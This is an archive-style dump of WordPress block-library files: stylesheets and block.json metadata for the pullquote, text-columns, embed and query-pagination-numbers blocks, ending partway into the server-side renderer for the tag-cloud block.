* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block[data-align=left] > .wp-block-pullquote p,
.wp-block[data-align=right] > .wp-block-pullquote p {
font-size: 20px;
}
.wp-block-pullquote blockquote p {
font-size: 28px;
line-height: 1.6;
}
.wp-block-pullquote.is-style-solid-color blockquote p {
font-size: 32px;
}
.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation {
text-transform: none;
font-style: normal;
}
.wp-block-pullquote .wp-block-pullquote__citation {
color: inherit;
} pullquote/style-rtl.min.css 0000644 00000001544 15233103272 0012033 0 ustar 00 .wp-block-pullquote{margin:0 0 1em;padding:3em 0;text-align:center}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote.alignleft p,.wp-block-pullquote.alignright p{font-size:1.25em}.wp-block-pullquote p{font-size:1.75em;line-height:1.6}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote:not(.is-style-solid-color){background:none}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-right:auto;margin-left:auto;text-align:right;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{margin-top:0;margin-bottom:0;font-size:2em}.wp-block-pullquote.is-style-solid-color blockquote cite{text-transform:none;font-style:normal}.wp-block-pullquote cite{color:inherit} text-columns/editor.css 0000644 00000002572 15233103272 0011212 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-text-columns .block-editor-rich-text__editable:focus {
outline: 1px solid #ddd;
} text-columns/editor.min.css 0000644 00000000126 15233103272 0011765 0 ustar 00 .wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd} text-columns/style-rtl.css 0000644 00000003514 15233103272 0011660 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-text-columns {
display: flex;
}
.wp-block-text-columns.aligncenter {
display: flex;
}
.wp-block-text-columns .wp-block-column {
margin: 0 1em;
padding: 0;
}
.wp-block-text-columns .wp-block-column:first-child {
margin-right: 0;
}
.wp-block-text-columns .wp-block-column:last-child {
margin-left: 0;
}
.wp-block-text-columns.columns-2 .wp-block-column {
width: calc(100% / 2);
}
.wp-block-text-columns.columns-3 .wp-block-column {
width: calc(100% / 3);
}
.wp-block-text-columns.columns-4 .wp-block-column {
width: calc(100% / 4);
} text-columns/editor-rtl.min.css 0000644 00000000126 15233103272 0012564 0 ustar 00 .wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd} text-columns/style-rtl.min.css 0000644 00000000704 15233103272 0012440 0 ustar 00 .wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%} text-columns/style.css 0000644 00000003514 15233103272 0011061 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-text-columns {
display: flex;
}
.wp-block-text-columns.aligncenter {
display: flex;
}
.wp-block-text-columns .wp-block-column {
margin: 0 1em;
padding: 0;
}
.wp-block-text-columns .wp-block-column:first-child {
margin-left: 0;
}
.wp-block-text-columns .wp-block-column:last-child {
margin-right: 0;
}
.wp-block-text-columns.columns-2 .wp-block-column {
width: calc(100% / 2);
}
.wp-block-text-columns.columns-3 .wp-block-column {
width: calc(100% / 3);
}
.wp-block-text-columns.columns-4 .wp-block-column {
width: calc(100% / 4);
} text-columns/block.json 0000644 00000001243 15233103272 0011171 0 ustar 00 {
"apiVersion": 2,
"name": "core/text-columns",
"title": "Text Columns (deprecated)",
"icon": "columns",
"category": "design",
"description": "This block is deprecated. Please use the Columns block instead.",
"textdomain": "default",
"attributes": {
"content": {
"type": "array",
"source": "query",
"selector": "p",
"query": {
"children": {
"type": "string",
"source": "html"
}
},
"default": [ {}, {} ]
},
"columns": {
"type": "number",
"default": 2
},
"width": {
"type": "string"
}
},
"supports": {
"inserter": false
},
"editorStyle": "wp-block-text-columns-editor",
"style": "wp-block-text-columns"
}
text-columns/style.min.css 0000644 00000000704 15233103272 0011641 0 ustar 00 .wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%} text-columns/editor-rtl.css 0000644 00000002572 15233103272 0012011 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-text-columns .block-editor-rich-text__editable:focus {
outline: 1px solid #ddd;
} embed/editor.css 0000644 00000004555 15233103272 0007627 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-embed {
margin-left: 0;
margin-right: 0;
clear: both;
}
.wp-block-embed.is-loading {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
padding: 1em;
min-height: 200px;
text-align: center;
border-radius: 2px;
background-color: #fff;
box-shadow: inset 0 0 0 1px #1e1e1e;
}
.wp-block-embed.is-loading p {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
font-size: 13px;
}
.wp-block-embed .components-placeholder__error {
word-break: break-word;
}
.wp-block-embed .components-placeholder__learn-more {
margin-top: 1em;
}
.block-library-embed__interactive-overlay {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
opacity: 0;
}
.wp-block[data-align=left] > .wp-block-embed,
.wp-block[data-align=right] > .wp-block-embed {
max-width: 360px;
width: 100%;
}
.wp-block[data-align=left] > .wp-block-embed .wp-block-embed__wrapper,
.wp-block[data-align=right] > .wp-block-embed .wp-block-embed__wrapper {
min-width: 280px;
} embed/style.min.css 0000644 00000003052 15233103272 0010252 0 ustar 00 .wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-width:320px;min-height:240px}.wp-block-embed{margin:0 0 1em}.wp-block-embed figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{position:absolute;top:0;right:0;bottom:0;left:0;height:100%;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%} embed/editor-rtl.css 0000644 00000004555 15233103272 0010426 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-embed {
margin-right: 0;
margin-left: 0;
clear: both;
}
.wp-block-embed.is-loading {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
padding: 1em;
min-height: 200px;
text-align: center;
border-radius: 2px;
background-color: #fff;
box-shadow: inset 0 0 0 1px #1e1e1e;
}
.wp-block-embed.is-loading p {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
font-size: 13px;
}
.wp-block-embed .components-placeholder__error {
word-break: break-word;
}
.wp-block-embed .components-placeholder__learn-more {
margin-top: 1em;
}
.block-library-embed__interactive-overlay {
position: absolute;
top: 0;
right: 0;
left: 0;
bottom: 0;
opacity: 0;
}
.wp-block[data-align=left] > .wp-block-embed,
.wp-block[data-align=right] > .wp-block-embed {
max-width: 360px;
width: 100%;
}
.wp-block[data-align=left] > .wp-block-embed .wp-block-embed__wrapper,
.wp-block[data-align=right] > .wp-block-embed .wp-block-embed__wrapper {
min-width: 280px;
} embed/style-rtl.min.css 0000644 00000003052 15233103272 0011051 0 ustar 00 .wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-width:320px;min-height:240px}.wp-block-embed{margin:0 0 1em}.wp-block-embed figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{position:absolute;top:0;left:0;bottom:0;right:0;height:100%;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%} embed/editor-rtl.min.css 0000644 00000001661 15233103272 0011203 0 ustar 00 .wp-block-embed{margin-right:0;margin-left:0;clear:both}.wp-block-embed.is-loading{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:1em;min-height:200px;text-align:center;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e}.wp-block-embed.is-loading p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed .components-placeholder__learn-more{margin-top:1em}.block-library-embed__interactive-overlay{position:absolute;top:0;right:0;left:0;bottom:0;opacity:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px} embed/block.json 0000644 00000001370 15233103272 0007604 0 ustar 00 {
"apiVersion": 2,
"name": "core/embed",
"title": "Embed",
"category": "embed",
"description": "Add a block that displays content pulled from other sites, like Twitter, Instagram or YouTube.",
"textdomain": "default",
"attributes": {
"url": {
"type": "string"
},
"caption": {
"type": "string",
"source": "html",
"selector": "figcaption"
},
"type": {
"type": "string"
},
"providerNameSlug": {
"type": "string"
},
"allowResponsive": {
"type": "boolean",
"default": true
},
"responsive": {
"type": "boolean",
"default": false
},
"previewable": {
"type": "boolean",
"default": true
}
},
"supports": {
"align": true
},
"editorStyle": "wp-block-embed-editor",
"style": "wp-block-embed"
}
embed/style.css 0000644 00000006020 15233103272 0007466 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block[data-align=left] > [data-type="core/embed"],
.wp-block[data-align=right] > [data-type="core/embed"],
.wp-block-embed.alignleft,
.wp-block-embed.alignright {
max-width: 360px;
width: 100%;
}
.wp-block[data-align=left] > [data-type="core/embed"] .wp-block-embed__wrapper,
.wp-block[data-align=right] > [data-type="core/embed"] .wp-block-embed__wrapper,
.wp-block-embed.alignleft .wp-block-embed__wrapper,
.wp-block-embed.alignright .wp-block-embed__wrapper {
min-width: 280px;
}
.wp-block-cover .wp-block-embed {
min-width: 320px;
min-height: 240px;
}
.wp-block-embed {
margin: 0 0 1em 0;
}
.wp-block-embed figcaption {
margin-top: 0.5em;
margin-bottom: 1em;
}
.wp-block-embed iframe {
max-width: 100%;
}
.wp-block-embed__wrapper {
position: relative;
}
.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper::before {
content: "";
display: block;
padding-top: 50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe {
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
height: 100%;
width: 100%;
}
.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper::before {
padding-top: 42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper::before {
padding-top: 50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper::before {
padding-top: 56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper::before {
padding-top: 75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper::before {
padding-top: 100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper::before {
padding-top: 177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper::before {
padding-top: 200%;
} embed/editor.min.css 0000644 00000001661 15233103272 0010404 0 ustar 00 .wp-block-embed{margin-left:0;margin-right:0;clear:both}.wp-block-embed.is-loading{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:1em;min-height:200px;text-align:center;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e}.wp-block-embed.is-loading p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed .components-placeholder__learn-more{margin-top:1em}.block-library-embed__interactive-overlay{position:absolute;top:0;left:0;right:0;bottom:0;opacity:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px} embed/style-rtl.css 0000644 00000006020 15233103272 0010265 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block[data-align=left] > [data-type="core/embed"],
.wp-block[data-align=right] > [data-type="core/embed"],
.wp-block-embed.alignleft,
.wp-block-embed.alignright {
max-width: 360px;
width: 100%;
}
.wp-block[data-align=left] > [data-type="core/embed"] .wp-block-embed__wrapper,
.wp-block[data-align=right] > [data-type="core/embed"] .wp-block-embed__wrapper,
.wp-block-embed.alignleft .wp-block-embed__wrapper,
.wp-block-embed.alignright .wp-block-embed__wrapper {
min-width: 280px;
}
.wp-block-cover .wp-block-embed {
min-width: 320px;
min-height: 240px;
}
.wp-block-embed {
margin: 0 0 1em 0;
}
.wp-block-embed figcaption {
margin-top: 0.5em;
margin-bottom: 1em;
}
.wp-block-embed iframe {
max-width: 100%;
}
.wp-block-embed__wrapper {
position: relative;
}
.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper::before {
content: "";
display: block;
padding-top: 50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe {
position: absolute;
top: 0;
left: 0;
bottom: 0;
right: 0;
height: 100%;
width: 100%;
}
.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper::before {
padding-top: 42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper::before {
padding-top: 50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper::before {
padding-top: 56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper::before {
padding-top: 75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper::before {
padding-top: 100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper::before {
padding-top: 177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper::before {
padding-top: 200%;
} query-pagination-numbers/editor-rtl.min.css 0000644 00000000313 15233103272 0015065 0 ustar 00 .wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0} query-pagination-numbers/editor-rtl.css 0000644 00000002777 15233103272 0014323 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-query-pagination-numbers a {
text-decoration: underline;
}
.wp-block-query-pagination-numbers .page-numbers {
margin-left: 2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child {
margin-right: 0;
} query-pagination-numbers/block.json 0000644 00000000623 15233103272 0013475 0 ustar 00 {
"apiVersion": 2,
"name": "core/query-pagination-numbers",
"title": "Query Pagination Numbers",
"category": "design",
"parent": [ "core/query-pagination" ],
"description": "Displays a list of page numbers for pagination",
"textdomain": "default",
"usesContext": [ "queryId", "query" ],
"supports": {
"reusable": false,
"html": false
},
"editorStyle": "query-pagination-numbers-editor"
}
query-pagination-numbers/editor.min.css 0000644 00000000314 15233103272 0014267 0 ustar 00 .wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0} query-pagination-numbers/editor.css 0000644 00000003021 15233103272 0013503 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-query-pagination-numbers a {
text-decoration: underline;
}
.wp-block-query-pagination-numbers .page-numbers {
margin-right: 2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child {
/*rtl:ignore*/
margin-right: 0;
} tag-cloud.php 0000644 00000002364 15233103272 0007137 0 ustar 00 <?php
/**
* Server-side rendering of the `core/tag-cloud` block.
*
* @package WordPress
*/
/**
* Renders the `core/tag-cloud` block on server.
*
* @param array $attributes The block attributes.
*
* @return string Returns the tag cloud for selected taxonomy.
*/
function render_block_core_tag_cloud( $attributes ) {
$args = array(
'echo' => false,
'taxonomy' => $attributes['taxonomy'],
